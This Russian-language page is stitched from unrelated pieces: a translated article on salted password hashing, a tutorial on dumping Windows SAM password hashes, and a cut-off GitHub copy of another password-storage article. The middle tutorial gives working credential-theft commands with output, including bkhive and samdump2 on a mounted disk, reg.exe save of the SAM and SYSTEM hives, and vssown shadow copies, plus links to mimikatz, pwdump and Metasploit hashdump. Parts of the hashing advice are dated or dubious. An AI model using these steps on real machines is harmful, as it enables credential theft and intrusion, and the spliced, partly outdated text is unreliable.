Управление паролями
Разбираемся, как правильно шифровать пароли и обеспечивать их безопасное хранение.
Внимание! Данная статья является переводом самых полезных и интересных (на мой взгляд) моментов из этой публикации. Если понравится моя версия, очень рекомендую изучить оригинал!
Содержание
Введение
Разработчикам приложений часто приходится заниматься разработкой систем учетных записей пользователей. Самый важный аспект системы учетных записей — защита паролей пользователей. Взлом баз данных — не самое редкое явление, поэтому нужно что-то предпринимать, чтобы обеспечить защиту личных данных пользователей, в том числе паролей, в подобных случаях. Самый лучший способ обеспечения безопасности паролей — их хеширование с использованием соли. (Или, как любят выражаться в русскоязычном сообществе — засаливание паролей.) В этой статье рассказывается, как делать это правильно, ведь простого хеширования в большинстве случаев не достаточно.
По интернету гуляет множество противоположных мнений о том, как правильно хешировать пароли. Многие из этих мнений ошибочны и их изъяны могут быть обнаружены только после нескольких лет спокойствий — до первой атаки, когда ваш проект наберет популярность и привлечет к себе внимание плохих ребят.
По своей природе идея хеширования паролей проста до ужаса. Но так много разработчиков допускают ошибки… Я не только расскажу, как правильно обеспечить безопасность, но и почему тот или иной подход плох/хорош.
Важное замечание! Если вы задумываетесь о том, чтобы изобрести собственную хеш-функцию, пожалуйста, не делайте этого! Подобные самописные решения очень легко взламываются. Тот курс криптографии, который вы прошли в университете, вряд ли поможет вам в разработке устойчивого алгоритма. Проблема надежного хеширования паролей была решена задолго до вас: обратите внимание на phpass, defuse/password-hashing и libsodium, если не верите.
Если по некоторым причинам вы пропустили предупреждение, которое я так старался сделать максимально заметным, вернитесь и ознакомьтесь с ним. Оно сэкономит вам и вашей команде много времени и сил. Если вы не верите моим словам и все же хотите написать собственную библиотеку для шифрования паролей, вам придется поискать какой-нибудь другой источник, ибо эта статья не об этом.
Вы еще тут? Рад, что вы приняли мой совет. Продолжаем.
Хеширование паролей… Что это за зверь такой?
Хеширование — процесс необратимый. Это означает, что, имея хеш некоторой сущности, невозможно восстановить саму сущность. Или простым языком: нельзя получить исходный пароль при наличии его хеша.
Алгоритм хеширования превращает исходную строку в другую строку фиксированного размера, которую можно рассматривать как ее “отпечаток пальца” — единственный и неповторимый, принадлежащий только это строке. Это отличная защита для паролей. Даже если база данных с паролями вдруг будет взломана, злоумышленник не сможет заполучить сами пароли: ему будут доступны только хешы, с которыми далеко не уедешь.
Но как же нашему приложению авторизовать пользователя, если мы знаем только хеш пароля? Вот стандартные действия при регистрации/аутентификации:
- Пользователь создает аккаунт.
- Пароль проходит через хеш-функцию и записывается в базу данных.
- Когда пользователь пытается залогиниться, введенный ним пароль проходит через хеш-функцию и сравнивается с хешем, сохраненным в базе данных.
- Если хеши совпадают, пользователь получает доступ к защищенным разделам. В противном случае система запрашивает авторизационные данные снова.
- Шаги 3 и 4 повторяются каждый раз, когда пользователь проходит авторизацию.
В шаге 4 ни в коем случае нельзя сообщать пользователю, что было введено неверно: логин или пароль. Нужно отображать сообщение общего характера, например: “Неверные данные”. Эта маленькая предосторожность не даст злоумышленникам возможность извлечь существующие логины.
Если вы изучали структуры данных, вы должны помнить, что структура данных может быть хешируемой и нехешируемой. В данном случае понятие “хеш” не имеет никакого отношения к шифрованию паролей.
Примеры распространенных хеш-функций, используемых для хеширования паролей: SHA256, SHA512, RipeMD, WHIRLPOOL.
Вы должны знать, что недостаточно “прогонять” пароли через хеш-функции, чтобы обеспечить достаточную защиту пользователей приложения. Существует множество способов извлечения паролей из хешей. Существует несколько простых техник, которые помогают защититься от большинства атак. Невозможно защититься на все 100%, но каждый уровень защиты — дополнительная преграда для хакера.
Чтобы сподвигнуть вас на использование дополнительных техник защиты, я приглашаю вас посетить эту страницу, на которой вы сможете убедиться, как легко взламываются хеши. Пару секунд, и готово! Не отдавайте ваших посетителей в грязные руки взломщиков…
Давайте же разберемся, как взламывать хеши. Это знание позволит нам ближе подобраться к ответу, как от этих взломов защититься.
Как взламывают хеши
Словарные атаки и брутфорс
Вот самый простой способ взломать хеш. Берем комбинацию, которая может оказаться паролем, хешируем ее и сравниваем с хешем, который хотим расшифровать. И так до тех пор, пока не будет найдено совпадение.
Существует несколько вариантов реализовать описанный подход. Самые часто используемые: словарная атака (Dictionary Attack) и брутфорс (“метод грубой силы”, Brute Force).
Словарные атаки основаны на файлах, в которых содержатся некоторые слова, фразы, возможно даже распространенные пароли и много всякой всячины, которая претендует быть паролем. Для каждой комбинации уже подобран хеш, который сравнивается с хешем, который нужно хакнуть. Многие словари построены на основе реальных баз данных с паролями пользователей, что повышает эффективность взлома. Некоторые словарные атаки являются “умными” и для каждой существующей комбинации формируют набор производных комбинаций, которые могут также оказаться искомым паролем.
В процессе брутфорс-атаки “пробуются” произвольные комбинации на роль искомого пароля. Эти атаки очень дороги в плане вычислительных ресурсов и не столь эффективны, как другие виды атак, но ними очень активно пользуются (особенно начинающие хакеры). Если набраться терпения, можно взломать все, что угодно. Но в большинстве случаев придется очень долго ждать… особенно если у жертвы длинный пароль, состоящий из цифр и букв верхнего и нижнего регистра.
Плохая новость: предотвратить эти атаки никак не получится.
Хорошая новость: эффективность этих атак можно свести к минимуму, если организовать правильное управление паролями.
Таблицы поиска
Таблицы поиска (Lookup Tables) — невероятно эффективный метод взлома хешей одного и того же типа. В основе метода лежит идея подготовки возможных паролей и соответствующих им хешей и их хранение в некой таблице (например, в какой-нибудь структуре данных). Лучшие реализации таблиц поиска способны обрабатывать сотни комбинаций в секунду, тогда как их общее количество может насчитывать несколько миллиардов!
Чтобы получить хорошее представление о таблицах поиска, попробуйте взломать представленные ниже SHA256-хеши с помощью этого сайта.
Обратные таблицы поиска
Обратные таблицы поиска (Reverse Lookup Tables) позволяют хакерам запускать словарные и брутфорс-атаки одновременно для нескольких хешей без необходимости предварительной подготовки таблицы поиска.
Эта атака основана на интересном факте: многие пользователи имеют одинаковые пароли. Злоумышленник берет взломанную базу данных с хешами паролей пользователей, находит группы одинаковых хешей и направляет на них атаку. Очень эффективный подход!
Радужные таблицы
Радужные таблицы (Rainbow Tables) основаны на т.н. компромиссе между временем поиска по таблице и занимаемой памятью. [В оригинале: time-memory trade-off.] Согласен, трудно представить… Эти таблицы чем-то напоминают таблицы поиска, в которых пожертвовали скоростью в пользу количества подготовленных комбинаций. Если вам нужно больше подробностей, отсылаю вас на Википедию.
Существуют радужные таблицы, способные взломать MD5-хеш пароля длиной до 8 символов.
Далее мы разберемся, как сделать описанные атаки бесполезными.
Соль — дополнительная преграда
Описанные выше атаки работают только потому, что все пароли хешируются одним и тем же способом. Если у нескольких пользователей один и тот же пароль, хеши их паролей также одинаковы. “Грубые атаки” можно лишить эффективности, если внести в каждый хеш что-то уникальное; в таком случае одинаковые хеши исключаются в корне. (Даже если попадаются одинаковые хеши, это совершенно не означает, что они соответствуют одному и тому же паролю. Почему? Читайте дальше.)
Можно рандомизировать хеши, прибавляя к паролям (спереди или сзади) некоторую строку, называемую солью, перед передачей в хеш-функцию. Как показано выше в сниппете, один и тот же пароль в каждом случае соответствует уникальному хешу, если соль уникальна. Для проверки корректности пароля на этапе авторизации нужно располагать солью, поэтому обычно она хранится в базе данных рядом с хешем пароля, или же как часть хеша.
Соль не обязательно должна быть секретной. Ее задача: сделать брутфорс-атаки, таблицы поиска, радужные таблицы, словарные атаки и другие “грубые методы” неэффективными. Хакер не может заранее знать соль для конкретного хеша, поэтому у него нет возможности подготовиться к атаке.
Запомните! Главное, чтобы у каждого пользователя была его личная соль.
Как не нужно хешировать
Самые распространенные ошибки: использование глобальной или слишком короткой соли.
Повторное использование соли
Решили захардкодить соль в конфиге? Нельзя! Такое встречается довольно часто, что хакерам только на руку! Это не эффективно, и вот почему. Если у пользователей одинаковые пароли, и используется одна и та же соль, хеши также будут одинаковыми. У хакера остается возможность применить обратную таблицу поиска и извлечь все пароли. Представьте, как вам будет стыдно, когда станет известно, что вы захардкодили соль в конфиге. Конец карьере программиста…
Соль должна создаваться/обновляться для каждого пользователя отдельно в таких случаях:
- создание аккаунта;
- изменение пароля.
Короткая соль
Если соль слишком короткая, не составляет труда применить таблицу поиска к самой соли. Например, если соль состоит из трех ASCII-символов, будет существовать всего 95×95×95=857375 вариантов. Думаете, что это много? Ничего подобного! Для профессионального хакера, располагающего необходимыми средствами, не составит труда обнаружить соль и потом с ее помощью расшифровать пароли всех ваших пользователей.
Из этих же соображений нельзя в качестве соли использовать имя пользователя или логин. Имена могут повторяться в пределах одного приложения, а одни и те же логины могут использоваться тем же пользователем в разных приложениях. У хакеров уже давным-давно готовы таблицы поиска для распространенных имен и логинов.
Чтобы усложнить хакеру задачу, соль должна быть длинной. Существует хорошее правило, надежность которого испытана временем: соль должна быть той же длины, что и получаемый в результате хеш. Например, результатом функции SHA256 является 256-битная строка (32 байта); значит и соль должна состоять из 32-х рандомных байтов.
Двойное хеширование и прочие заблуждения
Очень легко войти в азарт а начать чудить без баяна. Часто вижу, как программисты, в надежде обеспечить супер-пупер защиту, начинают комбинировать различные хеш-функции. Это совершенно бесполезно и иногда даже ослабляет защиту. Некоторые начнут защищаться, мол, нагромождение хеш-функций увеличивает время вычисления хеша, что, соответственно, увеличивает время взлома. В этом есть доля правды, но существуют более элегантные способы увеличения времени взлома без нанесения ущерба производительности приложения.
Вот антипримеры, которые я откопал на форумах; авторы постов на полном серьезе предлагают использовать эти ужасные решения:
Никогда не используйте ничего подобного!
Примечание автора. Нагромождение хеш-функций — очень спорный вопрос. Я получил много сообщений, в которых указывалось, что такой подход действительно приносит пользу: взломщик заранее не знает, какая комбинация хеш-функций используется, поэтому не имеет возможности подготовить таблицу поиска. Снова поднимался вопрос о скорости вычисления хеша, что замедляет процесс взлома…
Примечание переводчика. Правильное использование соли исключает возможность подготовки таблицы поиска, поэтому нет необходимости в нагромождении хеш-функций.
Также не нужно изобретать собственные хеш-функции. Используйте средства, разработанные профессионалами и проверенные временем. Очевидно, что хакер не имеет возможности взломать хеш, если ему не известен алгоритм. Но не стоит забывать о принципе Керкгоффса, который гласит, что нужно предполагать, что взломщик имеет доступ к алгоритму шифрования (что неизбежно, если речь одет об опенсорс-продукте).
Коллизии хешей
Хеш-функция принимает строку произвольной длины и на выходе выдает строку фиксированной длины. Это наводит на мысль, что могут существовать различные комбинации, которые приводят к одинаковым хешам. Криптографические хеш-функции разрабатываются таким образом, чтобы свести такие коллизии к минимуму, поэтому обнаружить их крайне трудно. Как бы там ни было, хакеры находят закономерности, которые позволяют проводить более эффективные атаки.
Самый яркий пример — MD5, для которого уже найдены закономерности коллизий. Но нахождение этих коллизий требует внушительных вычислительных мощностей. Вряд ли рядовая атака будет основываться на поиске коллизий, уж слишком дорого она обойдется.
Хеш пароля, полученный с помощью MD5 и уникальной соли, вполне себе безопасен. Тем не менее использование более надежных алгоритмов пойдет только на пользу: SHA256, SHA512, RipeMD, WHIRLPOOL.
Как нужно хешировать
В этом разделе рассказывается о правильном подходе к хешированию паролей. В первом подразделе описаны основы, обойтись без которых невозможно. Остальные подразделы содержат информацию об улучшениях основных методов, которые сделают взлом приложения куда более сложным.
Основы: хеширование с солью
Внимание! Недостаточно просто читать. Если хотите вполне понять, о чем идет речь, вам нужно реализовать описываемые подходы на практике.
Мы уже разобрались, как злоумышленники расшифровывают пароли при помощи таблиц поиска и других хитроумных приемов. Также мы узнали, что лучшая защита от “грубой силы” — хеширование с применением соли, уникальной для каждого пользователя. Но вопрос, как генерировать эту соль, остается открытым.
Соль нужно генерировать криптографически стойким генератором псевдослучайных чисел (Cryptographically Secure Pseudo-Random Number Generator, CSPRNG). Подобный генератор — не просто генератор псевдослучайного числа, такой как “rand()” в языке C. Как и подразумевает название, CSPRNG является криптографически безопасным и обеспечивает высокую степень непредсказуемости. Мы не желаем, чтобы наша соль была предсказуемой, поэтому нужно использовать CSPRNG.
Вот список безопасных генераторов для некоторых популярных языков программирования:
Соль должна быть уникальной для каждого пользователя, каждого пароля. Каждый раз, когда пользователь создает аккаунт или изменяет пароль, пароль должен быть захеширован с использованием рандомной соли. Длина соли не должна быть меньше длины зашифрованного пароля. В большинстве случаев соль сохраняют в базе данных рядом с паролем.
Чтобы сохранить пароль, нужно:
- Сгенерировать рандомную соль, используя CSPRNG.
- Прибавить соль к паролю (к началу или концу) и пропустить получившуюся строку через стандартную хеш-функцию, такую как Argon2, bcrypt, scrypt, PBKDF2 или какую-нибудь другую.
- Сохранить соль и пароль в базе данных.
Для валидации пароля нужно:
- Извлечь соль и хеш пароля из базы данных.
- Прибавить соль к полученному от пользователя паролю (к началу или концу) и пропустить полученную строку через соответствующую хеш-функцию.
- Сравнить полученный хеш с валидным хешем, взятым из базы данных. Если эти хеши совпадают, значит пароль верный.
Если это возможно, хешируйте на сервере
Если вы разрабатываете веб-приложение, имеет значение, где будет генерироваться хеш. Как правильно: создавать хеш на клиентской стороне (например, при помощи JavaScript) или отправлять пароль на сервер в чистом виде и хешировать его где-то там?
Если вы хешируете пароль на клиентской стороне, он все равно должен быть повторно захеширован на сервере.
Представьте веб-приложение, которое хеширует пароль в браузере и и отправляет его впоследствии на сервер, где не происходит очередного хеширования. Для аутентификации сервер сравнивает полученный хеш со значением, сохраненным в базе данных. На первый взгляд этот подход кажется безопасным, но это далеко не так.
Проблема заключается в том, что хеш, сгенерированный на клиенте, по сути выступает в роли реального пароля пользователя. Т.е. все, что нужно для авторизации: передать серверу хеш пароля. Если хакер узнает пароль пользователя (или хеш), он сможет без затруднений пройти авторизацию! Более печальный вариант: хакер каким-то хитрым способом получает базу данных с хешами паролей пользователей и получает доступ ко всем аккаунтам.
Это не говорит о том, что хеширование на клиенте является плохой идеей. Но мораль такова: хешировать на сервере нужно всегда.
Хеширование на клиенте — штука полезная. Вот некоторые скользкие моменты, о которых не стоит забывать:
- Хеширование на клиенте — не замена для HTTPS (SSL/TLS). Если соединение между клиентом и сервером не защищено, злоумышленник может подменить механизм обмена данными и нанести приложению непоправимый ущерб.
- Не все браузеры поддерживают JavaScript, некоторые пользователи отключают его поддержку умышленно. Приложение должно определять, поддерживает ли браузер JavaScript, и при необходимости эмулировать клиентское хеширование на сервере.
- Хеш, формируемый на клиентской стороне, также должен быть “засоленным”. Тут есть соблазн запрашивать соль с сервера, но это плохая идея: таким образом злоумышленник сможет извлечь реальные логины пользователей (если сервер возвращает соль клиенту в случае валидного логина). Если на сервере происходит правильное хеширование, которое мы уже обсудили, на клиенте будет достаточно реализовать упрощенный вариант получения хеша, например, со строкой логин + домен в качестве соли.
Медленные хеш-функции
Соль —гарантия того, что хакер не сможет взломать пароли с помощью таблиц поиска (и других видов “табличных” атак). Но соль не оказывает никакой защиты перед методами грубой силы: брутфорсом и словарной атакой. Современные видеокарты (GPU) и специализированное оборудование способны рассчитывать миллиарды хешей в секунду, что делает подобные виды атак вполне себе эффективными. Чтобы сделать эти атаки менее эффективными, можно прибегнуть к технике стретчинга (key stretching).
Идея заключается в том, чтобы сделать хеш-функцию очень медленной; при таком раскладе современные видеокарты и специальные хакерские компьютеры со всей своей супер-скоростью становятся очень неэффективными. Но нужно иметь меру, чтобы очень медленная функция хеширования не оказала влияние на скорость работы всего приложения.
Стретчинг реализован в некоторых специальных хеш-функциях. (Поэтому не нужно писать собственную хеш функцию, даже если вам очень-очень хочется.) Вот стандартные решения, которых вам будет предостаточно для обеспечения медленного хеширования: PBKDF2, bcrypt. Реализацию PBKDF2 для PHP можно найти тут.
Представленные выше алгоритмы принимают в качестве дополнительного параметра т.н. фактор безопасности — количество итераций. Это значение характеризует, насколько медленной будет функция. Чтобы определить оптимальное значение этого параметра для настольных и мобильных приложений, достаточно запустить простые бенчмарки и добиться скорости ответа функции примерно в полсекунды; в таком случае приложение будет защищено, и не будет заметного влияния на производительность.
Если вы планируете использовать стретчинг в веб-приложении, знайте, что вам могут понадобиться дополнительные вычислительные ресурсы для обработки большого количества запросов на авторизацию. Эта мера защиты, к сожалению, облегчает злоумышленникам задачу по запуску DoS-атак; чтобы оградиться от этого, просто используйте капчу.
Дополнительные меры защиты
Хеширование обеспечивает защиту паролей в том случае, когда ваша система безопасности дает сбой. Это не делает приложение в целом более безопасным. Чтобы пароли не были скомпрометированы, придется изрядно попыхтеть!
Никогда не поздно изучить вопросы безопасности, даже если вы разработчик со стажем. Вот парочка достойных источников:
Прежде чем приступать к разработке приложения, у которого высокие требования к безопасности, не помешало бы разобраться с информацией, предоставленной по этим ссылкам. В таком случае в вашей команде не будет лишним эксперт по безопасности, который сможет выявить прорехи на раннем этапе и поможет их быстро устранить.
На этом все. Если вам понравилась статья, очень рекомендую изучить оригинал: в нем вы найдете более подробное описание изложенных идей.
Получение хешей паролей Windows. Часть 1
Менеджер учетных записей безопасности (Security Accounts Manager — SAM) – это файл реестра в Windows, начиная с Windows NT вплоть до самых последних версий Windows 7. В SAM хранятся хешированные пароли пользователей (в формате LM-хеш или NTLM-хеш). Благодаря тому, что хеш-функция однонаправленная, пароли находятся в относительной безопасности.
Вообще, получение хеша паролей пользователей операционной системы, как правило, один из первых шагов, ведущий к компрометации системы в дальнейшем. Доступ к хешированным паролям дает “зеленый свет” различным атакам, к примеру: использование хеша для SMB-аутентификации в других системах с тем же паролем, анализ парольной политики и распознавание структуры пароля, взлом пароля и.т.п.
Способов получения хешированных паролей из SAM множество, и выбор конкретного способа будет зависеть от того, каким именно доступом к компьютеру жертвы вы обладаете.
Физический доступ
При получении физического доступа к системе, например, когда у вас в руках оказался чужой ноутбук, или когда социальная инженерия закончилась успешно, лучше всего слить хеши паролей следующим образом: во время перезагрузки войти в меню BIOS, изменить приоритет загрузки, так чтобы вначале запускался оптический или USB-привод, сохранить изменения и загрузиться с вашего любимого live CD c дистрибутивом GNU/Linux или с флешки. Есть две широко известные утилиты для дампа хешированных паролей из SAM: bkhive и samdump2:
- securitylab.ru/software/425135.php : bkhive — получает syskey bootkey из куста системы
- securitylab.ru/software/425136.php : samdump2 – получает хеши паролей в Windows 2k/NT/XP/Vista
Вышеназванные утилиты, как правило, поставляются со многими дистрибутивами GNU/Linux. Перед получением дампа хешей убедитесь, что вы располагаете этими утилитами.
# bkhive
bkhive 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it
bkhive systemhive keyfile
# samdump2
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it
samdump2 samhive keyfile
Пример получения хешей SAM из Windows-раздела /dev/sda1:
# mkdir -p /mnt/sda1
# mount /dev/sda1 /mnt/sda1
# bkhive /mnt/sda1/Windows/System32/config/SYSTEM /tmp/saved syskey.txt
# samdump2 /mnt/sda1/Windows/System32/config/SAM /tmp/saved-syskey.txt > /tmp/hashes.txt
Если же bkhive и samdump2 у вас нет, то можно скопировать SYSTEM и SAM файлы из /mnt/sda1/Windows/System32/config себе на флешку, а затем импортировать файлы с флешки в любую утилиту, позволяющую извлечь хеши SAM: например, Cain & Abel, creddump,mimikatz:
- securitylab.ru/software/232833.php : Cain & Abel
- securitylab.ru/software/424286.php : creddump
- securitylab.ru/software/420435.php : mimikatz
Обход приглашения на ввод пароля
Если вы вместо того, чтобы получать хешированные пароли пользователей, думаете, как обойти приглашение на ввод пароля, воспользуйтесь следующими оригинальными решениями:
- BootRoot ( securitylab.ru/software/425137.php ) – проект, представленный на конференции Black Hat USA 2005 исследователями Дереком Сёдером (Derek Soeder) и Райаном Пермехом (Ryan Permeh). С помощью технологии BootRoot можно в стандартном загрузочном секторе выполнить код, который во время загрузки уронит ядро Windows. eEye BootRootKit – это NDIS бэкдор, который работает по типу boot-вируса и демонстрирует использование технологии BootRoot.
- SysRQ2 ( securitylab.ru/software/425138.php ) – загрузочный CD-образ, позволяющий пользователю в любое время после загрузки нажатием клавиш Ctrl-Shift-SysRq вызвать командную строку с полными привилегиями (привилегии SYSTEM). SysRQ2 работает на системах Windows 2000, Windows XP и Windows Server 2003. SysRQ2 впервые был продемонстрирован на конференции Black Hat USA 2005 исследователями Дереком Сёдером и Райаном Пермехом в качестве примера использования технологии eEye BootRootKit. Для создания диска с SysRq выберите опцию “создать CD из ISO-образа” в предпочтительном ПО для прожига дисков.
- Kon-Boot ( piotrbania.com/all/kon-boot/ ) – прототип программы, благодаря которой на лету (во время загрузки) можно менять содержимое ядра Linux или Windows. В текущей сборке Kon-Boot позволяет войти в linux-систему под root’ом без ввода пароля или повысить привилегии текущего пользователя до root’а. В случае с Windows-системами с помощью Kon-Boot можно войти в любой защищенный паролем профиль без знания самого пароля.
Сброс пароля
Как вариант, можно загрузиться с live CD или флешки с bootdisk, и с помощью утилиты chntpw сбросить пароль любого локального пользователя Windows.
Использование пост-эксплойтов
В этой ситуации, как правило, система уже скомпрометирована, и вы получили доступ к командной строке с административными правами. Далее нужно повысить свои привилегии до пользователя SYSTEM. Например, с помощью утилиты PsExec из пакета SysInternals:
C:\>psexec.exe -i -s cmd.exe
Есть и другие способы повышения привилегии, но их описание останется вне рамок этого поста.
Методы, основанные на унаследованных возможностях Windows
В системах Windows NT и Windows 2000 можно воспользоваться утилитой Ntbackup из подсистемы MS-DOS: сохраните бэкап состояния системы в локальном файле на скомпрометированной машине, а затем снова используйте Ntbackup и восстановите состояние системы в локальном каталоге без сохранения настроек безопасности. По окончании описанной процедуры вы будете обладать файлами SAM и SYSTEM. Первоначальный бэкап Windows 2000 c последними пакетами обновлений и исправлений занимает около 280МБ. Для более современных версий Windows вместо Ntbackup подойдет утилита Wbadmin.
Также стоит упомянуть утилиту regback.exe из пакета Windows 2000 Resource Kit Tools. Утилита слегка упрощает процесс, так как сливаются только нужные файлы:
C:\>regback.exe C:\backtemp\SAM machine sam
C:\>regback.exe C:\backtemp\SYSTEM machine system
Если regback.exe не срабатывает, то на системах Windows XP и выше можно воспользоваться утилитами regedit.exe и reg.exe:
Использование reg.exe:
C:\>reg.exe save HKLM\SAM sam
The operation completed successfully
C:\>reg.exe save HKLM\SYSTEM sys
The operation completed successfully
Использование regedit.exe:
- Выполнить regedit.exe в Start/Run.
- Открыть ветку Computer\HKEY_LOCAL_MACHINE, правой кнопкой мыши щелкнуть по секции SAM и выбрать “Export” (“Экспортировать”).
- Установить значение параметра “Save as type” (“Тип файла”) в “Registry Hive Files” (“Файлы кустов реестра”).
- Проделать то же самое для куста SYSTEM.
И, наконец, еще один способ: файлы SAM и SYSTEM можно достать из каталога C:\Windows\repair. Но существует вероятность, что в каталоге содержаться устаревшие копии нужных файлов, информация о пользователях в которых неактуальна.
Метод, использующий теневое копирование томов
Метод стал известен относительно недавно, и впервые его использование продемонстрировал Тим Томс (Tim Tomes). Метод эксплуатирует функционал теневого копирования томов в современных операционных системах Windows для того, чтобы получить доступ к заблокированным ранее системным файлам, таким как файлы SAM и SYSTEM в каталоге C:\Windows\System32\config.
Для выполнения метода, вы можете воспользоваться cкриптом vssown ( securitylab.ru/software/425145.php ), который дает возможность управлять теневым копированием.
Список теневых копий:
C:\>cscript vssown.vbs /list
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
Как и ожидалось, сначала никаких теневых копий нет.
Проверим статус службы теневого копирования (VSS):
C:\>cscript vssown.vbs /status
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
C:\>cscript vssown.vbs /mode
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] VSS service set to ‘Manual’ start mode.
Если тип запуска службы “Вручную”, то нам нужно установить тип запуска в первоначальное состояние (“Остановлена”).
Создадим теневую копию:
C:\>cscript vssown.vbs /create
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Attempting to create a shadow copy.
Проверим, что теневая копия создалась:
C:\>cscript vssown.vbs /list
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] ID:
[*] Client accessible: True
[*] Count: 1
[*] Device object: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
[*] Differnetial: True
[*] Exposed locally: False
[*] Exposed name:
[*] Exposed remotely: False
[*] Hardware assisted: False
[*] Imported: False
[*] No auto release: True
[*] Not surfaced: False
[*] No writers: True
[*] Originating machine: LAPTOP
[*] Persistent: True
[*] Plex: False
[*] Provider ID:
[*] Service machine: LAPTOP
[*] Set ID: <018D7854-5A28-42AE-8B10-99138C37112F>
[*] State: 12
[*] Transportable: False
[*] Volume name: \\?\Volume<46f5ef63-8cca-11e0-88ac-806e6f6e6963>\
Обратите внимание на значение параметров Deviceobject и ID. Значение первого параметра понадобиться для осуществления следующего шага, а значение второго – для очистки.
Достанем следующие файлы из теневой копии:
C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
Таким образом, мы только что скопировали файлы SAM и SYSTEM из теневой копии в папку C:\root.
C:\>cscript vssown.vbs /delete
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Attempting to delete shadow copy with ID:
И, наконец, остановим службу теневого копирования:
C:\>cscript vssown.vbs /stop
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Signal sent to stop the VSS service.
Методы, основанные на внедрении в память процессов
В основе подобных методов получения SAM-хешей из памяти лежит внедрение DLL в системный процесс LSASS, или, в общем случае, разбиение памяти на отдельные участки и изучение содержимого полученных участков. Манипуляции с памятью могут привести к падению процесса LSASS и Синему Экрану Смерти (BSoD), поэтому предпочтительнее использовать методы, основанные на копировании кустов реестра (regback.exe и reg.exe\regedit.exe), либо теневое копирование томов. Тем не менее, в некоторых особых случаях внедрение в память все-таки требуется.
Наиболее известным инструментом для получения хешей SAM, вероятно, является утилита fgdump – улучшенная версия pwdump6; обе утилиты разработаны командой foofus.net . Основное преимущество fgdump над pwdump заключается в возможности работать на системах Windows Vista и выше. Хотя пару раз я видел, как падали обе утилиты. Среди более стабильных и надежных инструментов можно выделить pwdump7 от Андреса Тараско (Andres Tarasco) и gsecdump от TrueSec. Обе утилиты работают на всех версиях Windows, как 32- так и 64-битных. Нужно отметить, что с контроллеров домена слить хеши паролей с помощью утилиты pwdump7 не получится, так как эта утилита вместо внедрения в LSASS читает хеши SAM из реестра. Еще одна надежная и популярная утилита – это PWDumpX, разработанная Ридом Арвином (Reed Arvin), хотя работает PWDumpX только на 32х разрядных системах.
- foofus.net/goons/fizzgig/fgdump/ — fgdump
- tarasco.org/security/pwdump_7/index.html — pwdump7
- truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5 — gsecdump
- packetstormsecurity.com/files/download/62371/PWDumpX14.zip — PWDumpX
Ниже на скриншоте показан дамп информации из SAM, полученной утилитой gsecdump на Windows Server 2003 SP2 32-bit:

Дамп информации о локальных пользователях после внедрения кода в процесс LSASS
В Metasploit Framework ( metasploit.com ) также имеются собственные модули пост-эксплойта, встроенные команды и скрипты для Meterpreter, позволяющие получить хеши SAM:
- github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/hashdump.rb — модуль
- github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/smart_hashdump.rb — пост-эксплойт
- github.com/rapid7/metasploit-framework/blob/master/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb — команды
- github.com/rapid7/metasploit-framework/blob/master/scripts/meterpreter/hashdump.rb — скрипты
Подробнее о работе кода и о том, какие идеи лежат в его основе можно прочитать в этих постах:
- community.rapid7.com/community/metasploit/blog/2010/01/01/safe-reliable-hash-dumping
- community.rapid7.com/community/metasploit/blog/2009/12/30/exporting-the-registry-for-fun-and-profit
Разумеется, существует и множество других инструментов и методов, и важно знать, какой именно метод подходит для конкретной системы. Чтобы облегчить выбор, я создал сводную электронную таблицу, в которой перечислены нужные утилиты, их возможности и принципы работы, и, что самое важное, возможные проблемы при использовании таких утилит.
Изменения на 4 января 2012 г.
Дэвид Мэлони (David Maloney) добавил в Metasploit Framework модули:
- github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/manage
позволяющие работать с процессом теневого копирования томов:
- community.rapid7.com/community/solutions/metasploit/blog/2012/01/04/metasploit-updated-year-in-review
TrueSec обновил gsecdump до версии v.2.0b5. Последняя версия стабильно работает на всех версиях Windows (как на 32х-, так и на 64х-разрядных).
Name already in use
pasta / security / password-hashing.md
- Go to file T
- Go to line L
- Copy path
- Copy permalink
1 contributor
Users who have contributed to this file
- Open with Desktop
- View raw
- Copy raw contents Copy raw contents
Copy raw contents
Copy raw contents
Как безопасно хранить пароли
Итак, мы решили сделать авторизацию и регистрацию на сайте через пароли. Как максимально обезопасить пароли пользователей от взлома, от хостинговой компании, которой принадлежит сервер, и от своих же любопытных коллег, имеющих доступ к базе?
Солить и хешировать
Для начала, никогда не храните пароли в открытом виде. Храните соленые хеши от них.
Хеш-функция — это такая функция, которая принимает на вход произвольную строку (например, пароль) и выдает на выходе хеш — число или строку небольшой фиксированной длины, из которой невозможно восстановить исходные данные. Криптографическая хеш-функция отличается от обычной защитой от манипуляций, например, она не позволяет после изменения строки добавить несколько символов, чтобы получить такой же хеш, который был у исходной строки (обычные хеш-функции вроде CRC32 используются только для защиты от случайных ошибок, а не от умышленных воздействий).
Примерами криптографических хеш-функций являются, например, MD5, SHA256 (про них написано в вики, но предупрежу, что понять их алгоритм без знания основ криптографии будет непросто). Способы легко обратить хеш-функцию и получить из хеша исходную строку неизвестны. То есть получить хеш из пароля просто, а вот восстановить пароль, имея хеш практически невозможно — надо перебирать все возможные пароли, вычислять для каждого хеш и сравнивать с имеющимся.
